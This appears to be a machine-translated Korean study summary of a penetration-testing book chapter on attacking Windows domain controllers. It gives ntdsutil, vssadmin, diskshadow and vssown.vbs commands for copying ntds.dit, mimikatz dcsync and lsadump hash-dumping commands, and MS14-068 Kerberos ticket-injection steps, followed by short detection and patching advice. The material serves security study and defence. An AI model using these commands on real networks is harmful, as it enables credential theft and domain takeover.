콘텐츠
머리말
이 기사에서 계속해서 "인트라넷 보안 공격 및 방어: 침투 테스트 실용 가이드"를 읽고 배우십시오. 이 장은 도메인 컨트롤러 보안입니다. Kerberos 도메인 사용자를 사용하여 권한을 에스컬레이션하고 ntds.dit의 해시 값을 내보내는 방법을 소개합니다. , 도메인 컨트롤러에 대한 공격 효과적인 안전 권장 사항이 만들어집니다.
실제 네트워크 환경에서 인트라넷에 침입한 공격자의 궁극적인 목표는 도메인 컨트롤러의 권한을 획득하여 전체 도메인을 제어하는 것입니다.
1. 볼륨 섀도 복사본 서비스를 사용하여 ntds.dit 추출
Active Directory에서 모든 데이터는 ntds.dit 파일에 저장됩니다.
- ntds.dit은 DC에 저장된 바이너리 파일입니다.
C:\Windows\NTDS\ntds.dit
- 도메인의 모든 정보가 포함되어 있으며 ntds.dit을 분석하여 도메인의 컴퓨터 정보 및 기타 정보를 내보낼 수 있습니다.
- SAM 파일과 마찬가지로 시스템에 의해 잠겨 있습니다.
ntds.dit 은 기본적으로 스냅샷 기술이며 주로 백업 및 복구에 사용되는 VSS(볼륨 섀도 복사본 서비스) 로 추출할 수 있습니다 (대상 파일이 잠겨 있는 경우에도).
1 、 ntdsutil.exe
AD에 대한 관리 메커니즘을 제공하는 명령줄 도구, Windows 서버 2003/2008/2012 지원
//创建快照
ntdsutil snapshot "activate instance ntds" create quit quit
//加载快照
ntdsutil snapshot "mount <GUID>" quit quit
//复制快照中的nitds.dit
copy <加载后快照的位置> c:\tmp:ntds.dit
//删除快照
ntdsutil snapshot "unmount <GUID>" "delete <GUID>" quit quit
2 、 vssadmin
Windows 7 및 Server 2008에서 제공하는 VSS 관리 도구
//创建C盘的卷影拷贝
vssadmin create shadow /for=c:
//复制ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\window\NTDS\ntds.dit c:\ntds.dit
//删除拷贝
vssadmin delete shadow /for=c: /quiet
3、vssown.vbs
vssadmin과 유사한 Tim Tomes가 개발한 스크립트
스크립트는 다음과 같습니다
REM Volume Shadow Copy Management from CLI.
REM Part of the presentation "Lurking in the Shadows" by Mark Baggett and Tim "LaNMaSteR53" Tomes.
REM Co-developed by Mark Baggett (@MarkBaggett) and Tim Tomes (@lanmaster53).
Set args = WScript.Arguments
if args.Count < 1 Then
wscript.Echo "Usage: cscript vssown.vbs [option]"
wscript.Echo
wscript.Echo " Options:"
wscript.Echo
wscript.Echo " /list - List current volume shadow copies."
wscript.Echo " /start - Start the shadow copy service."
wscript.Echo " /stop - Halt the shadow copy service."
wscript.Echo " /status - Show status of shadow copy service."
wscript.Echo " /mode - Display the shadow copy service start mode."
wscript.Echo " /mode [Manual|Automatic|Disabled] - Change the shadow copy service start mode."
wscript.Echo " /create [drive_letter] - Create a shadow copy."
wscript.Echo " /delete [id|*] - Delete a specified or all shadow copies."
wscript.Echo " /mount [path] [device_object] - Mount a shadow copy to the given path."
wscript.Echo " /execute [\path\to\file] - Launch executable from within an umounted shadow copy."
wscript.Echo " /store - Display storage statistics."
wscript.Echo " /size [bytes] - Set drive space reserved for shadow copies."
REM build_off
wscript.Echo " /build [filename] - Print pasteable script to stdout."REM no_build
REM build_on
wscript.Quit(0)
End If
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Select Case args.Item(0)
Case "/list"
Wscript.Echo "SHADOW COPIES"
Wscript.Echo "============="
Wscript.Echo
Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowCopy")
For Each objItem in colItems
Wscript.Echo "[*] ID: " & objItem.ID
Wscript.Echo "[*] Client accessible: " & objItem.ClientAccessible
Wscript.Echo "[*] Count: " & objItem.Count
Wscript.Echo "[*] Device object: " & objItem.DeviceObject
Wscript.Echo "[*] Differential: " & objItem.Differential
Wscript.Echo "[*] Exposed locally: " & objItem.ExposedLocally
Wscript.Echo "[*] Exposed name: " & objItem.ExposedName
Wscript.Echo "[*] Exposed remotely: " & objItem.ExposedRemotely
Wscript.Echo "[*] Hardware assisted: " & objItem.HardwareAssisted
Wscript.Echo "[*] Imported: " & objItem.Imported
Wscript.Echo "[*] No auto release: " & objItem.NoAutoRelease
Wscript.Echo "[*] Not surfaced: " & objItem.NotSurfaced
Wscript.Echo "[*] No writers: " & objItem.NoWriters
Wscript.Echo "[*] Originating machine: " & objItem.OriginatingMachine
Wscript.Echo "[*] Persistent: " & objItem.Persistent
Wscript.Echo "[*] Plex: " & objItem.Plex
Wscript.Echo "[*] Provider ID: " & objItem.ProviderID
Wscript.Echo "[*] Service machine: " & objItem.ServiceMachine
Wscript.Echo "[*] Set ID: " & objItem.SetID
Wscript.Echo "[*] State: " & objItem.State
Wscript.Echo "[*] Transportable: " & objItem.Transportable
Wscript.Echo "[*] Volume name: " & objItem.VolumeName
Wscript.Echo
Next
wscript.Quit(0)
Case "/start"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
objService.StartService()
Wscript.Echo "[*] Signal sent to start the " & objService.Name & " service."
Next
wscript.Quit(0)
Case "/stop"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
objService.StopService()
Wscript.Echo "[*] Signal sent to stop the " & objService.Name & " service."
Next
wscript.Quit(0)
Case "/status"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
Wscript.Echo "[*] " & objService.State
Next
wscript.Quit(0)
Case "/mode"
Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'")
For Each objService in colListOfServices
if args.Count < 2 Then
Wscript.Echo "[*] " & objService.Name & " service set to '" & objService.StartMode & "' start mode."
Else
mode = LCase(args.Item(1))
if mode = "manual" or mode = "automatic" or mode = "disabled" Then
errResult = objService.ChangeStartMode(mode)
Wscript.Echo "[*] " & objService.Name & " service set to '" & mode & "' start mode."
Else
Wscript.Echo "[*] '" & mode & "' is not a valid start mode."
End If
END If
Next
wscript.Quit(errResult)
Case "/create"
VOLUME = args.Item(1) & ":\"
Const CONTEXT = "ClientAccessible"
Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy")
Wscript.Echo "[*] Attempting to create a shadow copy."
errResult = objShadowStorage.Create(VOLUME, CONTEXT, strShadowID)
wscript.Quit(errResult)
Case "/delete"
id = args.Item(1)
Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
For Each objItem in colItems
if objItem.ID = id Then
Wscript.Echo "[*] Attempting to delete shadow copy with ID: " & id
errResult = objItem.Delete_
ElseIf id = "*" Then
Wscript.Echo "[*] Attempting to delete shadow copy " & objItem.DeviceObject & "."
errResult = objItem.Delete_
End If
Next
wscript.Quit(errResult)
Case "/mount"
Set WshShell = WScript.CreateObject("WScript.Shell")
link = args.Item(1)
sc = args.Item(2) & "\"
cmd = "cmd /C mklink /D " & link & " " & sc
WshShell.Run cmd, 2, true
Wscript.Echo "[*] " & sc & " has been mounted to " & link & "."
wscript.Quit(0)
Case "/execute"
file = args.Item(1)
Set colItems = objWMIService.ExecQuery("Select * From Win32_ShadowCopy")
Set objProcess = objWMIService.Get("Win32_Process")
For Each objItem in colItems
path = Replace(objItem.DeviceObject,"?",".") & file
intReturn = objProcess.Create(path)
if intReturn <> 0 Then
wscript.Echo "[*] Process could not be created from " & path & "."
wscript.Echo "[*] ReturnValue = " & intReturn
Else
wscript.Echo "[!] Process created from " & path & "."
wscript.Quit(0)
End If
Next
wscript.Quit(0)
Case "/store"
Wscript.Echo "SHADOW STORAGE"
Wscript.Echo "=============="
Wscript.Echo
Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
For Each objItem in colItems
Wscript.Echo "[*] Allocated space: " & FormatNumber(objItem.AllocatedSpace / 1000000,0) & "MB"
Wscript.Echo "[*] Maximum size: " & FormatNumber(objItem.MaxSpace / 1000000,0) & "MB"
Wscript.Echo "[*] Used space: " & FormatNumber(objItem.UsedSpace / 1000000,0) & "MB"
Wscript.Echo
Next
wscript.Quit(0)
Case "/size"
storagesize = CDbl(args.Item(1))
Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowStorage")
For Each objItem in colItems
objItem.MaxSpace = storagesize
objItem.Put_
Next
Wscript.Echo "[*] Shadow storage space has been set to " & FormatNumber(storagesize / 1000000,0) & "MB."
wscript.Quit(0)
REM build_off
Case "/build"
build = 1
Const ForReading = 1
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile("vssown.vbs", ForReading)
Do Until objTextFile.AtEndOfStream
strNextLine = objTextFile.Readline
if InStr(strNextLine,"REM build_off") = 3 Then
build = 0
End If
if strNextLine <> "" and build = 1 Then
strNextLine = Replace(strNextLine,"&","^&")
strNextLine = Replace(strNextLine,">","^>")
strNextLine = Replace(strNextLine,"<","^<")
wscript.Echo "echo " & strNextLine & " >> " & args.Item(1)
End If
if InStr(strNextLine,"REM build_on") = 3 Then
build = 1
End If
Loop
wscript.Quit(0)
REM build_on
End Select
4. ntdsutil의 IFM
ntdsutil을 사용하여 IFM을 만들 때 스냅샷을 생성하고 ntds.dit 및 컴퓨터의 SAM 파일을 대상 폴더에 로드, 복사하는 등의 작업이 필요합니다.
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
그런 다음 ntds.dit을 c:\test\Active Directory
에 복사하고 SYSTEM 및 SECURITY를 c:\test\registry\에 복사합니다.
전체 프로세스를 구현하는 스크립트 Copy-VSS.ps1이 Nishang에 있습니다.
5, 디스크 섀도우
diskshadow.exe는 VSS를 사용하고 ntds.dit을 내보낼 수 있습니다.
- Microsoft에서 공식적으로 제작한 코드는 Microsoft에서 서명했습니다.
- Windows 서버 2008, 2012, 2016은 기본적으로 제공됩니다.
- ntds.dit을 내보낼 때 에서 작업 해야
C:\Windows\system32
합니다 .
ntds.dit을 내보낸 후 reg를 사용하여 system.hive를 덤프할 수 있습니다. ntds.dit의 키는 system.hive에 저장 되기 때문에 ntds.dit 의 정보는 키 없이는 볼 수 없습니다.
침투 테스트에서는 실행할 명령이 포함된 텍스트 파일을 먼저 원격 대상 시스템에 작성한 다음 보다 유연한 diskshadow.exe를 사용하여 파일을 실행해야 합니다. 텍스트는 다음과 같습니다.
//设置卷影拷贝
set context persistent nowriters
//添加卷
add volume c: alias someAlias
//创建快照
create
//分配虚拟磁盘盘符
expose %someAlias% k:
//复制ntds.dit
exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit
//列出卷影拷贝
list shadows all
//重置
reset
//退出
exit
6. 예방
볼륨 섀도 복사본 서비스 사용을 모니터링하여 시스템에서 공격자가 수행한 악의적인 작업을 적시에 발견할 수 있습니다.
- 볼륨 섀도 복사본 서비스 및 Active Directory 데이터베이스 파일(ntds.dit)과 관련된 의심스러운 동작을 모니터링합니다.
- 시스템 이벤트 ID 7036의 의심스러운 인스턴스(볼륨 섀도 복사본 서비스가 실행 상태에 들어갔다는 표시)와 vssvc.exe 프로세스를 생성하는 이벤트를 모니터링합니다.
- diskshadow.exe 및 관련 자식 프로세스를 생성하는 이벤트 모니터링
- 클라이언트 장치에서 diskshadow.exe 인스턴스 생성 이벤트를 모니터링합니다(업무상 필요하지 않는 한 diskshadowexe는 Wmdows OS에 나타나지 않아야 함).
- 로그를 통해 새로운 논리 드라이브 매핑 이벤트 모니터링
2. ntds.dit의 해시 값 내보내기
여러 도구 사용:
- https://github.com/libyal/libesedb
- https://github.com/csababarta/ntdsxtract
- https://github.com/zcgonvh/NTDSDumpEx
3. dcsync를 사용하여 도메인 해시 값 가져오기
mimikatz에는 볼륨 섀도 복사본 서비스 VSS를 사용하여 ntds.dit을 직접 읽고 도메인 해시 값을 검색할 수 있는 dcsync 기능이 있습니다. 여기 에는 도메인 관리자 권한 이 필요합니다.
//导出域内所有用户名和散列值
lsadump::dcsync /domain:test.com /all /csv
//导出指定用户Dm散列值
lsadump::dcsync /domain:test.com /User:Dm
//转储lsass.exe进程对散列值进行dump操作
privilege::debug
lsadump::lsa /inject
mimikatz 명령의 실행 결과가 너무 많아 전체를 표시할 수 없습니다. 먼저 log 명령을 실행할 수 있습니다(mimikatz의 모든 실행 결과를 기록하기 위해 현재 디렉토리에 텍스트 파일이 생성됨)
4. 기타 도메인 해시값 획득 방법
1、메타스플로잇
use auxiliary/admin/amb/psexec_ntdsgrab
2. vshadow.exe 및 QuarkPwDump.exe
모든 도메인 계정 및 도메인 해시를 빠르고 안전하며 종합적으로 읽기 위한 QuarkPwDump
다운로드 주소: https://github.com/quarkslab/quarkspwdump
다섯째, Kerberos 도메인 사용자 권한 상승 취약점
Kerberos 도메인 사용자 권한 상승 취약점(MS14-068, CVE-2014-6324, KB3011780)
- Windows 2012 R2 및 이전 버전이 영향을 받습니다.
- 공격자가 도메인에 있는 컴퓨터의 셸 권한을 얻고 도메인 사용자의 사용자 이름, SID 및 암호도 알고 있으면 도메인 관리자 권한을 얻은 다음 DC를 제어하고 최종적으로 도메인 권한을 얻을 수 있습니다.
티켓 주입의 일반적인 과정 :
- DC 패치 설치 확인(systeminfo, WMIC qfe)
- 사용자의 SID 보기(
whoami /user
) - 높은 권한 티켓 생성(ms14-068.exe)
- 주입 전 보기 권한(
dir \\\\DC\c$
) - 메모리의 모든 티켓 지우기(mimikatz,
kerberos::purge
) - 높은 권한의 티켓을 메모리에 주입(
kerberos::ptc
) - 권한 확인
일부 도구:
- 파이케크:https://github.com/mubix/pykek
- 패킷의 goldenPac.py
- metasploit의 ms14_068_kerberos_checksum
수리 제안:
- Windows 업데이트 켜기
- 매뉴얼 패치
- 도메인 내 계정 제어
- 취약한 비밀번호 비활성화
- 정기적으로 적시에 비밀번호를 변경하십시오.
- 바이러스 백신 소프트웨어를 설치하고 제 시간에 바이러스 데이터베이스를 업데이트하십시오.
발문
주로 ntds.dit 인수를 중심으로